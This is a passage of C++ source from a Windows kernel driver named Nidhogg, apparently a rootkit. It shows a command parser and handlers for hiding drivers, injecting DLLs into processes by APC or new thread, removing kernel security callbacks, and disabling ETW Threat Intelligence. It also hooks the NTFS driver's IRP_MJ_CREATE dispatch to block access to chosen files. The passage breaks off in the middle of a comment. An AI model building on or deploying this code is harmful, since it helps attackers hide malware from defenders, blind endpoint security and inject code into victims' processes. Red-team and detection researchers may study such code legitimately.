32 | PVOID args[MAX_ARGS] = { 0 };
33 | Options commandId;
34 | NTSTATUS status = STATUS_SUCCESS;
35 |
36 | status = ParseArgs(data, dataSize, index, argsNumber, &commandId, outOffset, args);
37 |
38 | if (!NT_SUCCESS(status))
39 | return status;
40 |
41 | __try {
42 | status = Execute(commandId, args);
43 | }
44 | __except (EXCEPTION_EXECUTE_HANDLER) {
45 | status = GetExceptionCode();
46 | }
47 |
48 | for (USHORT i = 0; i < argsNumber; i++) {
49 | if (args[i]) {
50 | ExFreePoolWithTag(args[i], DRIVER_TAG);
51 | args[i] = nullptr;
52 | }
53 | }
54 |
55 | return status;
56 | }
57 |
58 | /*
59 | * Description:
60 | * ParseArgs is responsible for parsing the arguments.
61 | *
62 | * Parameters:
63 | * @data [PUCHAR] -- The raw script data.
64 | * @dataSize [size_t] -- Size if the raw script data.
65 | * @index [size_t] -- Index to start parsing the args and command from.
66 | * @argsNumber [USHORT] -- Number of arguments to run.
67 | * @commandId [Options*] -- The command id.
68 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command.
69 | * @OutArgs [PVOID*] -- Output arguments.
70 | *
71 | * Returns:
72 | * @status [NTSTATUS] -- Whether the args are parsed or error.
73 | */
74 | NTSTATUS BaseParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
75 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) {
76 | USHORT optionIndex = 0;
77 | ULONG intArg = 0;
78 | USHORT argIndex = 0;
79 | NTSTATUS status = STATUS_SUCCESS;
80 |
81 | // Validating the opcode size.
82 | if (dataSize < index)
83 | return STATUS_INVALID_BUFFER_SIZE;
84 |
85 | if (data[index] != 1)
86 | return STATUS_INVALID_PARAMETER;
87 |
88 | if (dataSize < index + 1)
89 | return STATUS_INVALID_BUFFER_SIZE;
90 |
91 | // Check the option exists for the command type.
92 | Options option = (Options)data[index + 1];
93 | status = STATUS_NOT_FOUND;
94 |
95 | for (optionIndex = 0; optionIndex < optionsSize; optionIndex++) {
96 | if (this->options[optionIndex].OptionOpcode == option) {
97 | status = STATUS_SUCCESS;
98 | break;
99 | }
100 | }
101 |
102 | if (!NT_SUCCESS(status))
103 | return status;
104 | *commandId = option;
105 |
106 | if (this->options[optionIndex].ArgMetadata.ArgsNumber != argsNumber)
107 | return STATUS_INVALID_PARAMETER;
108 |
109 | // opcode size + 1 (opcode).
110 | ULONG addedOffset = 2;
111 | ULONG argSize = 0;
112 | ULONG currentIndex = 0;
113 |
114 | for (argIndex = 0; argIndex < argsNumber; argIndex++) {
115 | currentIndex = (ULONG)index + addedOffset + argIndex;
116 |
117 | if (dataSize < currentIndex) {
118 | status = STATUS_INVALID_BUFFER_SIZE;
119 | break;
120 | }
121 |
122 | argSize = data[currentIndex];
123 |
124 | // Validating the size.
125 | if (argSize > dataSize - currentIndex) {
126 | status = STATUS_INVALID_BUFFER_SIZE;
127 | break;
128 | }
129 |
130 | OutArgs[argIndex] = AllocateMemory(argSize);
131 |
132 | if (!OutArgs[argIndex]) {
133 | status = STATUS_INSUFFICIENT_RESOURCES;
134 | break;
135 | }
136 | RtlZeroMemory(OutArgs[argIndex], argSize);
137 |
138 | __try {
139 | RtlCopyMemory(OutArgs[argIndex], &data[currentIndex + 1], argSize);
140 | }
141 | __except (EXCEPTION_EXECUTE_HANDLER) {
142 | status = STATUS_ABANDONED;
143 | break;
144 | }
145 |
146 | // Validating the type.
147 | switch (this->options[optionIndex].ArgMetadata.Types[argIndex]) {
148 | case ArgType::ULong:
149 | {
150 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) {
151 | if (isdigit(((char*)OutArgs[argIndex])[j]) == 0) {
152 | status = STATUS_INVALID_PARAMETER;
153 | break;
154 | }
155 | intArg += convertDigit(((char*)OutArgs[argIndex])[j]) * factor;
156 | }
157 | *(ULONG*)OutArgs[argIndex] = intArg;
158 | intArg = 0;
159 | break;
160 | }
161 | case ArgType::CharPtr:
162 | case ArgType::WCharPtr:
163 | {
164 | for (DWORD j = 0; j < argSize; j++) {
165 | if (!isChar(((char*)OutArgs[argIndex])[j])) {
166 | status = STATUS_INVALID_PARAMETER;
167 | break;
168 | }
169 | }
170 | break;
171 | }
172 | }
173 |
174 | if (!NT_SUCCESS(status))
175 | break;
176 |
177 | addedOffset += argSize;
178 | }
179 |
180 | if (!NT_SUCCESS(status)) {
181 | for (USHORT i = 0; i < argIndex; i++) {
182 | if (OutArgs[i])
183 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG);
184 | }
185 | }
186 |
187 | *outOffset += addedOffset;
188 | return status;
189 | }
--------------------------------------------------------------------------------
/Nidhogg/BaseParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "MemoryAllocator.hpp"
4 |
5 | constexpr SIZE_T MAX_ARGS = 5;
6 | constexpr SIZE_T MAX_TYPES = 6;
7 |
8 | enum class ArgType {
9 | ULong,
10 | CharPtr,
11 | WCharPtr,
12 | VoidPtr,
13 | };
14 |
15 | enum class ParserOpcode {
16 | Process,
17 | Thread,
18 | Module,
19 | Driver,
20 | File,
21 | Reg,
22 | Patch,
23 | Shinject,
24 | Dllinject,
25 | Callbacks,
26 | Etwti,
27 | Port,
28 | Unknown = 0xFF
29 | };
30 |
31 | enum class Options {
32 | Add, Remove,
33 | Clear, Hide,
34 | Unhide, Elevate,
35 | Signature, APC,
36 | Thread,
37 | Enable = 0, Disable = 1,
38 | Restore = 0,
39 | Invalid = 0xFF
40 | };
41 |
42 | typedef struct _ArgMetadata {
43 | USHORT ArgsNumber;
44 | ArgType Types[MAX_TYPES];
45 | } ArgMetadata;
46 |
47 | struct OptionMetadata {
48 | Options OptionOpcode;
49 | ArgMetadata ArgMetadata;
50 | };
51 |
52 | class BaseParser
53 | {
54 | protected:
55 | OptionMetadata* options;
56 | ULONG optionsSize;
57 |
58 | constexpr bool isChar(char c) {
59 | return c >= ' ' && c <= '~';
60 | }
61 |
62 | constexpr USHORT convertDigit(char c) {
63 | return c - '0';
64 | }
65 |
66 | constexpr ULONG pow(ULONG base, ULONG exp) {
67 | ULONG result = 1;
68 |
69 | for (ULONG i = 0; i < exp; i++)
70 | result *= base;
71 |
72 | return result;
73 | }
74 |
75 | virtual NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]);
76 |
77 | virtual NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId,
78 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]);
79 | public:
80 | void* operator new(size_t size) {
81 | return AllocateMemory(size, false);
82 | }
83 |
84 | void operator delete(void* p) {
85 | if (p)
86 | ExFreePoolWithTag(p, DRIVER_TAG);
87 | }
88 |
89 | BaseParser() {
90 | options = nullptr;
91 | optionsSize = 0;
92 | }
93 | virtual ~BaseParser();
94 |
95 | virtual NTSTATUS ExecuteCommand(USHORT argsNumber, PUCHAR data, size_t dataSize, size_t index, ULONG* outOffset);
96 | };
97 |
98 |
--------------------------------------------------------------------------------
/Nidhogg/CallbacksParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "CallbacksParser.h"
3 | #include "AntiAnalysis.hpp"
4 |
5 | CallbacksParser::CallbacksParser() {
6 | this->optionsSize = 2;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Enable, { 2, { ArgType::ULong, ArgType::ULong } } };
13 | this->options[1] = { Options::Disable, { 2, { ArgType::ULong, ArgType::ULong } } };
14 | }
15 |
16 | /*
17 | * Description:
18 | * Execute is responsible for executing a command and returning its value.
19 | *
20 | * Parameters:
21 | * @commandId [Options] -- Command to run.
22 | * @args [PVOID*] -- Array of args to send to the command.
23 | *
24 | * Returns:
25 | * @status [NTSTATUS] -- Result of the command.
26 | */
27 | NTSTATUS CallbacksParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
28 | KernelCallback callback{};
29 | NTSTATUS status = STATUS_SUCCESS;
30 |
31 | callback.CallbackAddress = *(ULONG*)args[0];
32 | callback.Type = *(CallbackType*)args[1];
33 |
34 | if (callback.CallbackAddress == 0 || callback.Type > CmRegistryType)
35 | return STATUS_INVALID_PARAMETER;
36 |
37 | switch (commandId) {
38 | case Options::Enable:
39 | {
40 | callback.Remove = false;
41 | status = NidhoggAntiAnalysis->RestoreCallback(&callback);
42 | break;
43 | }
44 | case Options::Disable:
45 | {
46 | callback.Remove = true;
47 | status = NidhoggAntiAnalysis->RemoveCallback(&callback);
48 | break;
49 | }
50 | default:
51 | {
52 | status = STATUS_NOT_IMPLEMENTED;
53 | break;
54 | }
55 | }
56 |
57 | return status;
58 | }
59 |
--------------------------------------------------------------------------------
/Nidhogg/CallbacksParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class CallbacksParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | CallbacksParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/DllInjectionParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "DllInjectionParser.h"
3 | #include "MemoryUtils.hpp"
4 | #include "ProcessUtils.hpp"
5 |
6 | DllInjectionParser::DllInjectionParser() {
7 | this->optionsSize = 2;
8 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
9 |
10 | if (!this->options)
11 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
12 |
13 | this->options[0] = { Options::APC, { 2, { ArgType::ULong, ArgType::CharPtr } } };
14 | this->options[1] = { Options::Thread, { 2, { ArgType::ULong, ArgType::CharPtr } } };
15 | }
16 |
17 | /*
18 | * Description:
19 | * Execute is responsible for executing a command and returning its value.
20 | *
21 | * Parameters:
22 | * @commandId [Options] -- Command to run.
23 | * @args [PVOID*] -- Array of args to send to the command.
24 | *
25 | * Returns:
26 | * @status [NTSTATUS] -- Result of the command.
27 | */
28 | NTSTATUS DllInjectionParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
29 | DllInformation dllInfo{};
30 | NTSTATUS status = STATUS_SUCCESS;
31 |
32 | dllInfo.Pid = *(ULONG*)args[0];
33 |
34 | if (!IsValidPid(dllInfo.Pid))
35 | return STATUS_INVALID_PARAMETER;
36 |
37 | if (strlen((PCHAR)args[1]) > MAX_PATH)
38 | return STATUS_INVALID_BUFFER_SIZE;
39 |
40 | if (strcpy_s(dllInfo.DllPath, (PCHAR)args[1]) != 0)
41 | return STATUS_INVALID_BUFFER_SIZE;
42 |
43 | switch (commandId) {
44 | case Options::APC:
45 | {
46 | dllInfo.Type = APCInjection;
47 |
48 | if (!Features.ApcInjection) {
49 | status = STATUS_UNSUCCESSFUL;
50 | break;
51 | }
52 |
53 | status = NidhoggMemoryUtils->InjectDllAPC(&dllInfo);
54 | break;
55 | }
56 | case Options::Thread:
57 | {
58 | dllInfo.Type = NtCreateThreadExInjection;
59 |
60 | if (!Features.CreateThreadInjection) {
61 | status = STATUS_UNSUCCESSFUL;
62 | break;
63 | }
64 |
65 | status = NidhoggMemoryUtils->InjectDllThread(&dllInfo);
66 | break;
67 | }
68 | default:
69 | {
70 | status = STATUS_NOT_IMPLEMENTED;
71 | break;
72 | }
73 | }
74 |
75 | return status;
76 | }
77 |
--------------------------------------------------------------------------------
/Nidhogg/DllInjectionParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class DllInjectionParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | DllInjectionParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/DriverParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "DriverParser.h"
3 | #include "MemoryUtils.hpp"
4 |
5 | DriverParser::DriverParser() {
6 | this->optionsSize = 2;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Hide, { 1, { ArgType::WCharPtr } } };
13 | this->options[1] = { Options::Unhide, { 1, { ArgType::WCharPtr } } };
14 | }
15 |
16 | /*
17 | * Description:
18 | * Execute is responsible for executing a command and returning its value.
19 | *
20 | * Parameters:
21 | * @commandId [Options] -- Command to run.
22 | * @args [PVOID*] -- Array of args to send to the command.
23 | *
24 | * Returns:
25 | * @status [NTSTATUS] -- Result of the command.
26 | */
27 | NTSTATUS DriverParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
28 | UNICODE_STRING wDriverName = { 0 };
29 | ANSI_STRING aDriverName = { 0 };
30 | HiddenDriverInformation hiddenDriver{};
31 | NTSTATUS status = STATUS_SUCCESS;
32 |
33 | // Converting string to unicode.
34 | RtlInitAnsiString(&aDriverName, (PCHAR)args[0]);
35 | status = RtlAnsiStringToUnicodeString(&wDriverName, &aDriverName, TRUE);
36 |
37 | if (!NT_SUCCESS(status))
38 | return status;
39 |
40 | hiddenDriver.DriverName = wDriverName.Buffer;
41 |
42 | switch (commandId) {
43 | case Options::Hide:
44 | {
45 | hiddenDriver.Hide = true;
46 |
47 | if (NidhoggMemoryUtils->GetHiddenDrivers() == MAX_HIDDEN_DRIVERS) {
48 | status = STATUS_TOO_MANY_CONTEXT_IDS;
49 | break;
50 | }
51 |
52 | status = NidhoggMemoryUtils->HideDriver(&hiddenDriver);
53 | break;
54 | }
55 | case Options::Unhide:
56 | {
57 | hiddenDriver.Hide = false;
58 |
59 | if (NidhoggMemoryUtils->GetHiddenDrivers() == 0)
60 | break;
61 |
62 | status = NidhoggMemoryUtils->UnhideDriver(&hiddenDriver);
63 | break;
64 | }
65 | default:
66 | {
67 | status = STATUS_NOT_IMPLEMENTED;
68 | break;
69 | }
70 | }
71 |
72 | RtlFreeUnicodeString(&wDriverName);
73 | return status;
74 | }
75 |
--------------------------------------------------------------------------------
/Nidhogg/DriverParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class DriverParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | DriverParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/EtwTiParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "EtwTiParser.h"
3 | #include "AntiAnalysis.hpp"
4 |
5 | EtwTiParser::EtwTiParser() {
6 | this->optionsSize = 2;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Add, { 0, {} } };
13 | this->options[1] = { Options::Remove, { 0, {} } };
14 | }
15 |
16 | /*
17 | * Description:
18 | * Execute is responsible for executing a command and returning its value.
19 | *
20 | * Parameters:
21 | * @commandId [Options] -- Command to run.
22 | * @args [PVOID*] -- Array of args to send to the command.
23 | *
24 | * Returns:
25 | * @status [NTSTATUS] -- Result of the command.
26 | */
27 | NTSTATUS EtwTiParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
28 | UNREFERENCED_PARAMETER(args);
29 |
30 | NTSTATUS status = STATUS_SUCCESS;
31 |
32 | if (!Features.EtwTiTamper)
33 | return STATUS_UNSUCCESSFUL;
34 |
35 | switch (commandId) {
36 | case Options::Enable:
37 | {
38 | status = NidhoggAntiAnalysis->EnableDisableEtwTI(true);
39 | break;
40 | }
41 | case Options::Remove:
42 | {
43 | status = NidhoggAntiAnalysis->EnableDisableEtwTI(false);
44 | break;
45 | }
46 | default:
47 | {
48 | status = STATUS_NOT_IMPLEMENTED;
49 | break;
50 | }
51 | }
52 |
53 | return status;
54 | }
55 |
--------------------------------------------------------------------------------
/Nidhogg/EtwTiParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class EtwTiParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | EtwTiParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/FastMutex.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "FastMutex.h"
3 |
4 |
5 | void FastMutex::Init() {
6 | ExInitializeFastMutex(&_mutex);
7 | }
8 |
9 | void FastMutex::Lock() {
10 | ExAcquireFastMutex(&_mutex);
11 | }
12 |
13 | void FastMutex::Unlock() {
14 | ExReleaseFastMutex(&_mutex);
15 | }
--------------------------------------------------------------------------------
/Nidhogg/FastMutex.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | class FastMutex {
4 | public:
5 | void Init();
6 |
7 | void Lock();
8 | void Unlock();
9 |
10 | private:
11 | FAST_MUTEX _mutex;
12 | };
13 |
--------------------------------------------------------------------------------
/Nidhogg/FileParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "FileParser.h"
3 | #include "FileUtils.hpp"
4 |
5 | FileParser::FileParser() {
6 | this->optionsSize = 3;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | this->options[0] = { Options::Add, { 1, { ArgType::WCharPtr } } };
13 | this->options[1] = { Options::Remove, { 1, { ArgType::WCharPtr } } };
14 | this->options[2] = { Options::Clear, {} };
15 | }
16 |
17 | /*
18 | * Description:
19 | * Execute is responsible for executing a command and returning its value.
20 | *
21 | * Parameters:
22 | * @commandId [Options] -- Command to run.
23 | * @args [PVOID*] -- Array of args to send to the command.
24 | *
25 | * Returns:
26 | * @status [NTSTATUS] -- Result of the command.
27 | */
28 | NTSTATUS FileParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
29 | UNICODE_STRING wFileName = { 0 };
30 | ProtectedFile protectedFile{};
31 | NTSTATUS status = STATUS_SUCCESS;
32 |
33 | if (args[0]) {
34 | if (strlen((PCHAR)args[0]) > MAX_PATH)
35 | return STATUS_INVALID_BUFFER_SIZE;
36 |
37 | ANSI_STRING aFileName = { 0 };
38 |
39 | // Converting string to unicode.
40 | RtlInitAnsiString(&aFileName, (PCHAR)args[0]);
41 | status = RtlAnsiStringToUnicodeString(&wFileName, &aFileName, TRUE);
42 |
43 | if (!NT_SUCCESS(status))
44 | return status;
45 |
46 | protectedFile.FilePath = wFileName.Buffer;
47 | }
48 |
49 | switch (commandId) {
50 | case Options::Add:
51 | {
52 | protectedFile.Protect = true;
53 |
54 | if (NidhoggFileUtils->GetFilesCount() == MAX_FILES) {
55 | status = STATUS_TOO_MANY_CONTEXT_IDS;
56 | break;
57 | }
58 |
59 | if (!NidhoggFileUtils->FindFile(protectedFile.FilePath)) {
60 | if (!NidhoggFileUtils->AddFile(protectedFile.FilePath)) {
61 | status = STATUS_UNSUCCESSFUL;
62 | break;
63 | }
64 | }
65 | break;
66 | }
67 | case Options::Remove:
68 | {
69 | protectedFile.Protect = false;
70 |
71 | if (NidhoggFileUtils->GetFilesCount() == 0) {
72 | status = STATUS_UNSUCCESSFUL;
73 | break;
74 | }
75 |
76 | if (!NidhoggFileUtils->RemoveFile(protectedFile.FilePath)) {
77 | status = STATUS_NOT_FOUND;
78 | break;
79 | }
80 | break;
81 | }
82 | case Options::Clear:
83 | {
84 | NidhoggFileUtils->ClearFilesList();
85 | break;
86 | }
87 | default:
88 | {
89 | status = STATUS_NOT_IMPLEMENTED;
90 | break;
91 | }
92 | }
93 |
94 | if (protectedFile.FilePath)
95 | RtlFreeUnicodeString(&wFileName);
96 |
97 | return status;
98 | }
99 |
--------------------------------------------------------------------------------
/Nidhogg/FileParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class FileParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | FileParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/FileUtils.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "FileUtils.hpp"
3 | #include "MemoryAllocator.hpp"
4 | #include "MemoryHelper.hpp"
5 |
6 | FileUtils::FileUtils() {
7 | this->Files.FilesCount = 0;
8 | this->Files.LastIndex = 0;
9 |
10 | for (int i = 0; i < SUPPORTED_HOOKED_NTFS_CALLBACKS; i++)
11 | this->Callbacks[i].Activated = false;
12 |
13 | memset(&this->Files, 0, sizeof(this->Files));
14 | this->Lock.Init();
15 | }
16 |
17 | FileUtils::~FileUtils() {
18 | AutoLock locker(this->Lock);
19 |
20 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) {
21 | if (this->Files.FilesPath[i] != nullptr) {
22 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG);
23 | this->Files.FilesPath[i] = nullptr;
24 | }
25 | }
26 | this->Files.FilesCount = 0;
27 | this->Files.LastIndex = 0;
28 |
29 | // Uninstalling NTFS hooks if there are any.
30 | if (this->Callbacks[0].Activated)
31 | UninstallNtfsHook(IRP_MJ_CREATE);
32 | }
33 |
34 | /*
35 | * Description:
36 | * HookedNtfsIrpCreate is responsible for handling the NTFS IRP_MJ_CREATE.
37 | *
38 | * Parameters:
39 | * @DeviceObject [PDEVICE_OBJECT] -- Unused.
40 | * @Irp [PIRP] -- Received IRP.
41 | *
42 | * Returns:
43 | * @status [NTSTATUS] -- Whether the operation was successful or not.
44 | */
45 | NTSTATUS HookedNtfsIrpCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
46 | auto stack = IoGetCurrentIrpStackLocation(Irp);
47 | UNICODE_STRING fullPath = {0};
48 | KIRQL prevIrql = 0;
49 | NTSTATUS status = STATUS_SUCCESS;
50 |
51 | do {
52 | // Validating the file object.
53 | if (!stack || !stack->FileObject)
54 | break;
55 |
56 | if (stack->FileObject->FileName.Length == 0 || !stack->FileObject->FileName.Buffer)
57 | break;
58 |
59 | // Validating the address of the file name.
60 | status = ProbeAddress(stack->FileObject->FileName.Buffer, stack->FileObject->FileName.Length,
61 | sizeof(WCHAR*), STATUS_NOT_FOUND);
62 |
63 | if (!NT_SUCCESS(status))
64 | break;
65 |
66 | // Acquiring the lock to prevent accessing to the file from other drivers.
67 | KeAcquireSpinLock(&stack->FileObject->IrpListLock, &prevIrql);
68 | KeLowerIrql(prevIrql);
69 |
70 | status = CopyUnicodeString(PsGetCurrentProcess(), &stack->FileObject->FileName, PsGetCurrentProcess(), &fullPath,
71 | KernelMode);
72 |
73 | if (!NT_SUCCESS(status) || !fullPath.Buffer)
74 | break;
75 |
76 | KeRaiseIrql(DISPATCH_LEVEL, &prevIrql);
77 | KeReleaseSpinLock(&stack->FileObject->IrpListLock, prevIrql);
78 |
79 | if (NidhoggFileUtils->FindFile(fullPath.Buffer)) {
80 | ExFreePoolWithTag(fullPath.Buffer, DRIVER_TAG);
81 | Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
82 | return STATUS_SUCCESS;
83 | }
84 | } while (false);
85 |
86 | if (fullPath.Buffer)
87 | ExFreePoolWithTag(fullPath.Buffer, DRIVER_TAG);
88 | return ((tNtfsIrpFunction)NidhoggFileUtils->GetNtfsCallback(0).Address)(DeviceObject, Irp);
89 | }
90 |
91 | /*
92 | * Description:
93 | * InstallNtfsHook is responsible for applying NTFS hooks of given IRP.
94 | *
95 | * Parameters:
96 | * @irpMjFunction [int] -- IRP function.
97 | *
98 | * Returns:
99 | * @status [NTSTATUS] -- Whether hooked or not.
100 | */
101 | NTSTATUS FileUtils::InstallNtfsHook(int irpMjFunction) {
102 | UNICODE_STRING ntfsName;
103 | PDRIVER_OBJECT ntfsDriverObject = nullptr;
104 | NTSTATUS status = STATUS_SUCCESS;
105 |
106 | RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS");
107 | status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject);
108 |
109 | if (!NT_SUCCESS(status))
110 | return status;
111 |
112 | switch (irpMjFunction) {
113 | case IRP_MJ_CREATE: {
114 | this->Callbacks[0].Address = (PVOID)InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)HookedNtfsIrpCreate);
115 | this->Callbacks[0].Activated = true;
116 | break;
117 | }
118 | default:
119 | status = STATUS_NOT_SUPPORTED;
120 | }
121 |
122 | ObDereferenceObject(ntfsDriverObject);
123 | return status;
124 | }
125 |
126 | /*
127 | * Description:
128 | * UninstallNtfsHook is responsible for removing NTFS hooks of given IRP.
129 | *
130 | * Parameters:
131 | * @irpMjFunction [int] -- IRP function.
132 | *
133 | * Returns:
134 | * @status [NTSTATUS] -- Whether removed or not.
135 | */
136 | NTSTATUS FileUtils::UninstallNtfsHook(int irpMjFunction) {
137 | UNICODE_STRING ntfsName;
138 | PDRIVER_OBJECT ntfsDriverObject = NULL;
139 | NTSTATUS status = STATUS_SUCCESS;
140 |
141 | RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS");
142 |
143 | status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject);
144 |
145 | if (!NT_SUCCESS(status))
146 | return status;
147 |
148 | switch (irpMjFunction) {
149 | case IRP_MJ_CREATE: {
150 | InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[irpMjFunction], (LONG64)this->Callbacks[0].Address);
151 | this->Callbacks[0].Address = nullptr;
152 | this->Callbacks[0].Activated = false;
153 | break;
154 | }
155 | default:
156 | status = STATUS_NOT_SUPPORTED;
157 | }
158 |
159 | ObDereferenceObject(ntfsDriverObject);
160 |
161 | return status;
162 | }
163 |
164 |
165 | /*
166 | * Description:
167 | * FindFile is responsible for searching if a file exists in the protected files list.
168 | *
169 | * Parameters:
170 | * @path [WCHAR*] -- File's path.
171 | *
172 | * Returns:
173 | * @status [bool] -- Whether found or not.
174 | */
175 | bool FileUtils::FindFile(WCHAR* path) {
176 | AutoLock locker(this->Lock);
177 |
178 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) {
179 | if (this->Files.FilesPath[i]) {
180 |
181 | // Checking the file path without the drive letter.
182 | if (wcslen(this->Files.FilesPath[i]) > 3) {
183 | if (_wcsnicmp(&this->Files.FilesPath[i][2], path, wcslen(this->Files.FilesPath[i]) - 2) == 0)
184 | return true;
185 | }
186 | }
187 | }
188 | return false;
189 | }
190 |
191 | /*
192 | * Description:
193 | * AddFile is responsible for adding a file to the protected files list.
194 | *
195 | * Parameters:
196 | * @path [WCHAR*] -- File's path.
197 | *
198 | * Returns:
199 | * @status [bool] -- Whether successfully added or not.
200 | */
201 | bool FileUtils::AddFile(WCHAR* path) {
202 | AutoLock locker(this->Lock);
203 |
204 | for (ULONG i = 0; i < MAX_FILES; i++)
205 | if (this->Files.FilesPath[i] == nullptr) {
206 | SIZE_T len = (wcslen(path) + 1) * sizeof(WCHAR);
207 | WCHAR* buffer = AllocateMemory(len);
208 |
209 | // Not enough resources.
210 | if (!buffer) {
211 | break;
212 | }
213 | errno_t err = wcscpy_s(buffer, len / sizeof(WCHAR), path);
214 |
215 | if (err != 0) {
216 | ExFreePoolWithTag(buffer, DRIVER_TAG);
217 | break;
218 | }
219 |
220 | if (i > this->Files.LastIndex)
221 | this->Files.LastIndex = i;
222 |
223 | this->Files.FilesPath[i] = buffer;
224 | this->Files.FilesCount++;
225 |
226 | if (!this->Callbacks[0].Activated) {
227 | NTSTATUS status = this->InstallNtfsHook(IRP_MJ_CREATE);
228 |
229 | if (!NT_SUCCESS(status)) {
230 | this->RemoveFile(this->Files.FilesPath[i]);
231 | break;
232 | }
233 | }
234 | return true;
235 | }
236 | return false;
237 | }
238 |
239 | /*
240 | * Description:
241 | * RemoveFile is responsible for removing a file from the protected files list.
242 | *
243 | * Parameters:
244 | * @path [WCHAR*] -- File's path.
245 | *
246 | * Returns:
247 | * @status [bool] -- Whether successfully removed or not.
248 | */
249 | bool FileUtils::RemoveFile(WCHAR* path) {
250 | ULONG newLastIndex = 0;
251 | AutoLock locker(this->Lock);
252 |
253 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) {
254 | if (this->Files.FilesPath[i] != nullptr) {
255 | if (_wcsicmp(this->Files.FilesPath[i], path) == 0) {
256 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG);
257 |
258 | if (i == this->Files.LastIndex)
259 | this->Files.LastIndex = newLastIndex;
260 | this->Files.FilesPath[i] = nullptr;
261 | this->Files.FilesCount--;
262 |
263 | if (this->GetFilesCount() == 0 && this->Callbacks[0].Activated) {
264 | NTSTATUS status = this->UninstallNtfsHook(IRP_MJ_CREATE);
265 |
266 | if (!NT_SUCCESS(status))
267 | break;
268 | }
269 | return true;
270 | }
271 | else
272 | newLastIndex = i;
273 | }
274 | }
275 | return false;
276 | }
277 |
278 | /*
279 | * Description:
280 | * ClearFilesList is responsible for clearing the protected files list.
281 | *
282 | * Parameters:
283 | * There are no parameters.
284 | *
285 | * Returns:
